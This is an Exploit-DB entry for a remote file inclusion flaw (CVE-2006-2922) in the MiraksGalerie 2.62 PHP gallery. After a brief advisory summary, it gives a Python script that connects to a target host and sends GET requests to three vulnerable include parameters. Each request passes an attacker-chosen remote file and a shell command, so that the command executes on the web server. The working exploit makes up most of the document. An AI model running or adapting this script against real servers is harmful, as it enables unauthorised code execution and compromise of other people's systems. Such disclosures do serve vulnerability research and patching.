MiraksGalerie 2.62 - galimage.lib.php listconfigfile0 Parameter Remote File Inclusion

2006-06-07T00:00:00
ID EDB-ID:27988
Type exploitdb
Reporter Federico Fazzi
Modified 2006-06-07T00:00:00

Description

MiraksGalerie 2.62 galimage.lib.php listconfigfile[0] Parameter Remote File Inclusion. CVE-2006-2922. Webapps exploit for php platform

                                        
                                            source: http://www.securityfocus.com/bid/18313/info

MiraksGalerie is prone to multiple remote file-include vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.

An attacker can exploit these issues to include arbitrary remote files containing malicious PHP code and execute it in the context of the webserver process. This may allow the attacker to compromise the application and the underlying system; other attacks are also possible.

#!/usr/bin/env python
#
# MiraksGalerie <= 2.62 Multiple Remote command execution
# python f_mg-2.62.py <remote_addr> <remote_port> <remote_path> <remote_cmd>
<command>
#
# Federico Fazzi <federico@autistici.org>
# more info see advisory.

# need register_global = On

import os, sys, socket

usage = "run: python %s [remote_addr> [remote_port] [remote_path]
[remote_cmd] <command>" % os.path.basename(sys.argv[0])

if len(sys.argv) < 6:
        print usage
        sys.exit()
else:
        host = sys.argv[1]
        port = int(sys.argv[2])
        path = sys.argv[3]
        cmd = sys.argv[4]
        command = sys.argv[5]

        print "MiraksGalerie <= 2.62 Remote command execution"
        print "Federico Fazzi <federico@autistici.org>\n"

        includers = ['pcltar.lib.php?g_pcltar_lib_dr=',
        'galimage.lib.php?listconfigfile[0]=',
                     'galsecurity.lib.php?listconfigfile[0]=']

        for inc in includers:
                print ">> i try string %s" % inc
                sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
                sock.connect((host, port))
                sock.send("GET %s%s%s?cmd=%s \r\n" % (path, inc, cmd,
                command))
        print "\n>> reading.. done\n"
        buf = sock.recv(2048)
        print buf